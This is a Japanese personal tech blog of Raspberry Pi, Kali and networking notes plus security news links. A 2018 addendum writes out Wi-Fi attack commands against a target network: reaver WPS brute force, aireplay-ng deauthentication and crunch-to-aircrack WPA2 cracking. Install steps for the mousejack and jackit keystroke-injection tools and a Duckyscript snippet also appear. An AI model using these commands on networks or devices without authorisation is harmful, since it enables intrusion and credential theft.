Sep 30, 2017

コマンドラインからyoutubeを再生する

raspbian 4.9.41+ #1023 は、Linuxと同様に以下の手順で動いた

install
  $ sudo apt-get install youtube-dl mplayer

  ffmpeg も自動追加された。
 update を意識しておかないと。

update 
  $ sudo youtube-dl -U # -U/--update

通常再生
  $ youtube-dl 'https://www.youtube.com/watch?v=hoge' -o - | mplayer -

音声のみ
  $ youtube-dl 'https://www.youtube.com/watch?v=hoge' -o - | mplayer - -novideo

  or fetch-sound-only
  $ youtube-dl 'https://www.youtube.com/watch?v=hoge' -f bestaudio -o - | mplayer -

参考にしたところ
 https://qiita.com/tigberd/items/594c27426c5580450bf2


Sep 29, 2017

Sep 22, 2017

読み物: Wi-Fi Bluetooth on iOS 11 ご用心、赤外線監視カメラハック、Samba脆弱性

iOS 11のコントロールセンターでWi-FiBluetoothオフにしても完全に無効にすることはできない(09/21)

赤外線監視カメラをハックして機密情報をカメラにリークさせる驚愕のサイバー攻撃「aIR-Jumper(09/21)
 見えにくい通信だと、設計時にリスクが見過ごされがちかと思われる事例

・「Samba」に複数の脆弱性 - 早急にアップデートを (09/21)

Sep 21, 2017

読み物: 「SD-WAN」活用術、ほか

・どう使う?「SD-WAN」活用術をユースケースで解説 (02/22)

・マカフィー セキュリティカンファレンス
 11/09() 
 詳細

Equifaxの漏えい事件、心臓ペースメーカーに脆弱性、Bluetoothの脆弱性「BlueBorne」、ほか

・米個人情報機関最大手Equifax14300万人の社会保障番号など漏えい (09/08)
「氏名、社会保障番号、生年月日、住所、免許証番号が流出した可能性がある。
 また、209000人のクレジットカード番号もアクセスされたとしている。」

P2PEによって新たな局面を迎えるクレジットカード決済 (2017/01)

Equifaxの役員、データ漏洩ニュース公開前に株を売却 (09/08)

・米FDA、心臓ペースメーカーのリコール発表 脆弱性を突かれ患者に危害が及ぶ恐れ (08/31)

Bluetoothの脆弱性「BlueBorne」、数十億台のデバイスに影響 (09/19)

Priform "CCleaner"がマルコード入りの上、デジタル署名されていた件


・システムメンテナンスツール「CCleanerが改竄の被害、ユーザー情報を外部送信 (09/19)

 Morphisec Discovers CCleaner Backdoor Saving Millions of Avast Users (09/18)
the executables were signed by the original Piriform company」だと
事前に気付く事は出来ないなぁ

 CCleanup: A Vast Number of Machines at Risk (09/18)
The presence of a valid digital signature on the malicious CCleaner binary may be indicative of a larger issue that resulted in portions of the development or signing process being compromised. 

Piriform was the company that Avast recently acquired and was the original company who developed the CCleaner software application.
本家は大丈夫なんだろうね!?

マルウエアが仕込まれた「CCleanerが配布されていた問題 (09/20)

Bluetoothの脆弱性「BlueBorne」、数十億台のデバイスに影響 (09/19)


週末に遊べるラズパイなど

・週末に遊べるラズパイ
 色々 興味深い

 ラズパイがファイアウォール付き無線LANルーターに変身、「LEDE」で簡単に (09/15)

Raspberry Pi Zero w (5) USB DACから音楽を再生(Raspbian) (05/06)

Raspberry Pi Zero(W)のセットアップ

Listen to Bluetooth Audio on Your Raspberry Pi 3, Pi Zero, or Earlier Pi (2016/03/14)

Sep 18, 2017

RBL.JP、運用終了

(09/14)
https://it.srad.jp/story/17/09/13/0649245/
「2017年9月末日を持って終了いたします。
sendmail.cfはRBLを使わないという設定にしておいてくださいますよう」

そうだったんですか。長い間、有難うございました。

Boot Kali in Console Mode


# systemctl get-default
# systemctl set-default multi-user.target
リブート後に、コンソールログインスクリーンが。

上記設定を元に戻すには、
# systemctl set-default graphical.target
リブート後に、GUIのログインスクリーンが。

Ref: https://polytarian.com/2015/08/21/boot-kali-in-console-mode/
 (2015/08/21)

raspi0 + HID gadget、他に参考にしたところ


・Pi-zero-w HID keyboard layout (2017/04)
 https://raspberrypi.stackexchange.com/questions/64521/pi-zero-w-hid-keyboard-layout
 qwerty キーボードが azerty と認識される事例

・Pi Zero as a USB keyboard (HID gadget) (2016/06/18)
 https://www.raspberrypi.org/forums/viewtopic.php?t=151940
「needs USB Gadget mode enabled in the kernel and it looks like the current kernels don't have this in」
Raspbian Jessie Lite image dated 2016-05-27
 (Pi Zero rev 1.2 from 2015)での苦労話

 結論が見えない、というか、読み切れない

・Using RPi Zero as a Keyboard Part 1: Setup and device definition (06/26)
 https://www.rmedgar.com/blog/using-rpi-zero-as-keyboard-setup-and-device-definition

 対応Kernelは4.9?(2017-06-21-raspbian-jessie.img = Linux version 4.9.28-v7+)

 iSticktoit(2016/02、Kernel 4.4  http://akasaka-taro.blogspot.jp/2017/09/raspi0.html)から
 追加されているパラメータは次の5つ
 | bDeviceClass: USB class code, assigned by USB organization (format: 0x00)
 | bDeviceProtocol: USB protocol code, assigned by USB organization (format: 0x00)
 | bDeviceSubClass: USB subclass code, assigned by USB organization (format: 0x00)
 | bMaxPacketSize0: maximum packet size for the device, only possible values are 8, 16, 32, and 64 (format: 0x00)
 ...
 | bmAttributes: configuration characteristics (format: 0x00), can have the following values:
 |     7: bus powered
 |     6: self powered
 |     5: remote wakeup
 |     4 to 0: reserved


----------------------------------------------------- 08/15のメモ

$ sudo iwconfig wlan0 essid 「SSID」 key s:「パスフレーズ」

# vi /etc/network/interfaces
「iface wlan0 inet 」の設定をmanualからdhcpに変更。

# vi /etc/wpa_supplicant/wpa_supplicant.conf   # <- ref 1

ref:
  1) http://qiita.com/teao26/items/970a721b5351e4c9918c
  2) http://systemp.hatenablog.com/entry/2013/04/21/152453
  3) http://stejp.blogspot.jp/2010/08/wpasupplicantconf.html
  4) https://www.xmisao.com/2014/01/16/how-to-connect-wpa2-wireless-lan-using-wpa-supplicant.html
  5) http://yamaryu0508.hatenablog.com/entry/2014/08/15/001312


RHEL7/CentOS7でipコマンドをマスター

yum -y install net-tools で解決するとはいうものの、備えておくためのメモ

以下、次のリンク先から抜粋。
                            (2014/07/12)
    http://enakai00.hatenablog.com/entry/20140712/1405139841


device up/down
 # ip l set eth1 up
 # ip l set eth1 down

 # nmcli c down eth1
 # nmcli c up eth1

show routing table
 # ip r

add/delete default gateway
 # ip route add default via 192.168.122.1
 # ip route del default via 192.168.122.1

packets processed
 # ip -s l

tcp/udp socket
 # ss -nat
 # ss -nau

arp table
 # ip n
 
 # ip n flush 192.168.122.71 dev eth0
 # ip n del 192.168.122.71 dev eth0 


raspi0w + kali linux + how to enable wi-fi card


raspberry pi 用のkali linuxダウンロードサイト

https://www.offensive-security.com/kali-linux-arm-images/

以下、built-in wi-fi device (wlan0)が認識されなかった時の、対応手順


1)i installed kali on the sd card.

2)put the sd card in another pi using a usb to microsd adapter
 別の起動済みraspbian(pi)環境に SDカードを挿入

3)Then mount the 2 partitons from the card under /mnt and /mnt/boot
 mount /dev/sda2 /mnt/
 mount /dev/sda1 /mnt/boot/

4)rpi-update the kali image
 ROOT_PATH=/mnt BOOT_PATH=/mnt/boot rpi-update

5)change root to the kali image
 chroot /mnt/ /bin/bash

6)update the thing
 apt-get update
 apt-get upgrade

7)install the wireless driver
 apt-get install firmware-brcm80211

 ※ 手元の環境で「404  Not Found」エラーだが、
   それでも結果的にはwlan0が動くようになった

8)copy /lib/firmware/brcm/brcmfmac43430-sdio.txt from a rasbian image to /lib/firmware/brcm/brcmfmac43430-sdio.txt on kali

9)edit /etc/network/interfaces
 auto wlan0
 iface wlan0 inet dhcp
 wpa-ssid "mysupercoolssidofdoom"
 wpa-psk "mysupercoolpasswordofdoom"

10)exit the chroot, umount the partitons and eject the card

「That will get you kali on the pi zero w with wireless networking. But i cannot get bluetooth to work, and i soooooooo want to use my bluetooth keyboard with it. Sorry about my formatting typing this on my phone.」
だそうです。

参考にしたところ

・Re: Kali Linux Raspberry Pi Zero W - bluetooth (03/18)
 https://www.raspberrypi.org/forums/viewtopic.php?t=177530#p1133241
 ほぼ、ここの、まるうつしです。

・How To Set Up Kali Linux on the New $10 Raspberry Pi Zero W (07/22)
 https://null-byte.wonderhowto.com/how-to/set-up-kali-linux-new-10-raspberry-pi-zero-w-0176819/
 興味深いので、後日読んでみたい

・Re4son-Kernel for Raspberry Pi 1/2/3/Zero/Zero W (09/01)
 https://whitedome.com.au/re4son/re4son-kernel/
 コンパイル済みのカーネルの配布サイト

-- 2018.05.01 追記 -->

Kali Tutorials


---

5 Steps Wi-Fi


1.airmon-ng
2.airmon-ng stop wlan0
3.airodump-ng    wlan0

|Information:
|
| BSSID (Basic Service Set Identification): the MAC address of access point
| Beacons: Number of announcements packets sent by the AP
| #Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
| #/s: Number of data packets per second measure over the last 10 seconds.
| MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g.
| CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.
| ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated.

4.wash -i wlan0 -c "target channel" -C -s
  if the WPS Locked status is No, then we are ready to move to step 5.
5.reaver -i wlan0 -b "target mac" --fail-wait=360

---
breaking wpa2-psk (2016/02/21)

airodump-ng wlan0 --bssid "target mac" --channel "target channel" -w "target ap"

aireplay-ng --deauth 20 -a "target mac" wlan0: aireplay-ng --deauth 20 -a "target mac" wlan0

crunch 20 20 0123456789abcdefghijklmnopqrstuvwxyz | aircrack-ng -b "target mac" -x1 -y -w - "target ap".cap

WPA2 Brute Force
> ./crunch 8 8 1234567890abcdefghijklmnopqrstuvwxyz -t passw@@@| aircrack-ng -b  And Target BSSID

Aircrack can't take dictionary from stdin?
> echo mywpapassword | aircrack-ng -w - -e devnetwork /tmp/captures.cap

---
HowTo : Pause/Resume Aircrack-ng

where files are saved in the session? #234 (2015/03/29)
> /usr/local/etc/reaver/ or /etc/reaver/

reaver resume from certain pin nr. #233 (2015/03/29)


Sep 13, 2017

激化するサイバー攻撃に国や企業は耐えられるのか?

LACの方が書いた記事 (8/25)
https://headlines.yahoo.co.jp/article?a=20170825-00050881-jbpressz-bus_all

リモートからデジタルフォレンジック、暗号化USB安全性、HDD故障率、格安スマホJアラート

Bitscoutリモートからデジタルフォレンジックを実施可能な無料ツール (08/24)

・暗号化機能付きUSBメモリは安全か? (08/29)
良くまとまっている良記事。思考実験にも
『では、USBメモリが本当に「安全」なのか誰にもわからないことを踏まえたうえで、監査方法が確立されるまでの当面、USBメモリ内の情報を守るにはどうすればよいのでしょうか?一番良いのは、データをUSBモリへ預ける前に自分で暗号化することです。』

HDD故障率はエンタープライズ向けもコンシューマ向けとほぼ同等か、
 BackblazeHDD故障率2017Q2レポート発表 (08/30)
『故障率が最も高かったのはSeagateの「ST4000DM000... 故障率は3.25
HGST3TB4TB4モデルはそれぞれ ... 故障率は0%台半ば』

IIJmioを含む「格安スマホ」(MVNO)でのJアラート(ミサイル発射情報)の受信について (05/11)


フェイクニュース、価格相場は? 見破るには?

・「フェイクニュース」を見破るためには? (08/31)
『利用者側では「フェイクニュース」の存在と目的を認知し、その騙しの手口を理解して扇動に乗らないよう、自身で注意する必要があります
 ...
ボットによる偽情報拡散では、全く同じ文面が複数の投稿で使用される
 ...
複数のアカウントのタイムラインに前後して同じツイートがポストされることも
 ...
- 興味を引くための誇張された記事見出し
- 正規ニュースメディアを詐称する不審な Web サイトのドメイン
- 記事内のスペルミスや不自然なレイアウト
- 加工、修正された写真や画像
- 公開日情報、著者、情報源、データなどのあるべき情報が欠如している
 ...

以下の観点に注意してニュースを判断すべき ...
o 記事の見出しだけで判断せず、内容をよく読む
o 1 つの記事だけで判断せず、別のメディアでの報道内容をチェックする
o 記事で使用されている外部リンクや情報源を精査し、他の誤情報で使用されていないか確認する
o 記事の著者や掲載場所、掲載時期などを確認する
o 記事で使用されている画像を相互参照し、修正されていないか確認する
o ソーシャルメディア上で記事を広めようとするコメントなどがある場合、その整合性を確認する(投稿者のプロフィールが実在か、同じコメントが何度も投稿されていないか、複数の類似する投稿のタイムスタンプの間隔があまりにも短くないか、など)

・安価に可能な世論操作、「フェイクニュース」の価格相場は? (08/30)

「いいね 1000 28,900円」

グーグルがランサムウエアの身代金ルートを追跡 ほか


・グーグルがランサムウエアの身代金ルートを追跡 (08/24)

・エンドポイントセキュリティセミナー
 ~辻伸弘氏が語る 最新のサイバー攻撃事情~

 9/12(tue) 品川で
 、、、あ、終わってた、残念

180万人の有権者情報が露呈、Verizon加入者1400万人の個人情報、2016年の情報漏えい件数は40億件超

180万人の有権者情報が露呈、AWSの設定ミスに警鐘 (08/21)
Gartnerの推計によれば、情報流出の7099は外部からの攻撃によるものではなく、社内の関係者によるITステムの設定ミスに起因」

Verizon加入者1400万人の個人情報、業務委託先が「無防備状態」でクラウドに保存 (07/13)
URLさえ分かれば誰でもアクセスしてデータをダウンロードできてしまう状態だった」

・激増するサイバースパイやランサムウェア、米機関も注意勧告 (05/01)
「世界各国で発覚した約2000件の情報流出事案について調査。サイバースパイ関連の事案はそのうち300件以上を占め
...
多くの組織は依然として時代遅れのセキュリティソリューションに依存」

2016年の情報漏えい件数は40億件超、増加率566%――IBM X-Forceレポート (04/03)


Apple Pay悪用、爆買い詐欺

・Apple Pay悪用、中国人“爆買い”詐欺 留学生「買い子」グループが暗躍 (09/08)
 http://www.itmedia.co.jp/news/articles/1709/08/news054.html

Snagging creds with USB Armory, Hak5 Turtle, raspi0+Responder+hashcat, Arduino, Bash Bunny

・Snagging creds from locked machines (2016/09/06)
 https://room362.com/post/2016/snagging-creds-from-locked-machines/
 有名ツール USB Armory ($155)、Hak5 Turtle ($49.99) の紹介
 Responder にも言及
 interfacesやdhcpd.conf の設定例あり

・Bash Bunny
 https://hakshop.com/products/bash-bunny
 有名ツール。$99.99 - $119.99

・Raspberry Pi Zero for credential snagging (2016/09/18)
 https://zone13.io/post/Raspberry-Pi-Zero-for-credential-snagging/
 Responder の記事
 Raspbian Jessie (I used Jessie Lite, Release date: 2016-05-27)を使用

 Cracking NTLMv2 responses captured using responder (2016/09/23)
 https://zone13.io/post/cracking-ntlmv2-responses-captured-using-responder/
 hashcatを使って事後、辞書攻撃

・pisponder
 https://github.com/dee-oh-double-gee/pisponder
 
・Vulnerability to Security Attacks in NDIS Drivers (04/20)
 https://docs.microsoft.com/en-us/windows-hardware/drivers/network/vulnerability-to-security-attacks-in-ndis-drivers

・USBポートを使ってPCを勝手に操作しちゃおう! (02/12)
 http://qiita.com/lowlevel/items/fc57a0c713e07e718918
 Arduino Micro の記事
 キーボードとして機能させるための設定やコードが極少量で手軽そう


raspi0 + USB gadgets

09/18 、以下、大幅改定

・Composite USB Gadgets on Raspberry Pi Zero (2016/02/22)

http://isticktoit.net/?p=1383
 Kernel 4.4  (2016.Feb版) 事例


・手順メモ


 手元の古いSD card (7.7GB)に Raspbianのimgを書いて
 冒頭サイトの通り、USB Gadgetのための環境構築。
 # uname -a
 Linux raspberrypi 4.9.35+ #1014 Fri Jun 30 14:34:49 BST 2017 armv6l GNU/Linux


 再起動後、状況確認
 起動時、スクリプトの ls /sys/class/udc > UDC で segmentation fault していた。

 segmentation faultの場合は、
 # rpi-update 2ca627126e49c152beb1bf7abd7122ce076dcc65
 として、ダウングレードすると良い。
 (カーネルバージョンは処々デリケートに影響するらしい)

 # reboot
 # uname -a
    Linux raspberrypi 4.4.49+ #968 Fri Feb 17 14:16:47 GMT 2017 armv6l GNU/Linux

 起動状態で、PCに接続済みのusbケーブルの一端を、OTGポートにつなぐと、
 キーボードとして認識されるようになり、
 コントロールパネル→デバイスにも表示されるようになった。
・図、キーボードドライバのインストールが開始された

・他に参考にしたところ

Turning your Raspberry PI Zero into a USB Gadget (2015-12-24--2016-08-21)
 https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget?view=all
 Serial Gadget, Ethernet Gadget について
 win、mac双方を意識した丁寧な説明。Bonjour にも言及

 ただし cmdline.txt に g_* を書き込む方法。
 手元では g_hidが見つからない旨のエラーメッセージ。

 Turning your Raspberry PI Zero into a USB Gadget (07/15)
 https://cdn-learn.adafruit.com/downloads/pdf/turning-your-raspberry-pi-zero-into-a-usb-gadget.pdf
 丁寧で分りやすい。これもadafruit.comから
 最終更新は2017.7だが、kernelと設定は May 2016 (4.4)固有の情報かも、
 と思って読むと良い

 これも cmdline.txt に g_* を書き込む方法。
 手元では g_hidが見つからない旨のエラーメッセージ。

 https://www.raspberrypi.org/forums/viewtopic.php?f=29&t=151940
 のmodprobeも参考にするか
 

mousejack

mousejack

  https://github.com/BastilleResearch/mousejack

  sudo apt-get install sdcc binutils python python-pip
  sudo pip install -U pip
  sudo pip install -U -I pyusb
  sudo pip install -U platformio

  git submodule init
  git submodule update

  cd nrf-research-firmware
  make

  cd nrf-research-firmware
  sudo make logitech_install

jackit

  https://github.com/insecurityofthings/jackit

  sudo pip install click==5.1
  sudo pip install pyusb==1.0.0
  sudo pip install tabulate==0.7.5

ducky script

  https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript

  REM The next three lines execute a command prompt in Windows
  GUI r
  STRING cmd
  ENTER

Workaround

Microsoft security advisory:
 Update to Improve Wireless Mouse Input Filtering (2016/04/12)
 https://support.microsoft.com/en-gb/help/3152550/microsoft-security-advisory-update-to-improve-wireless-mouse-input-fil

 Update the firmware for a Logitech Unifying device (2015/09/21)
 http://support.logitech.com/en_nz/article/unifying-firmware?product=a0qi00000069uqdAAA

 MouseJack Affected Devices
 https://www.bastille.net/research/vulnerabilities/mousejack/affected-devices/


関連

http://akasaka-taro.blogspot.jp/2016/06/blog-post_7.html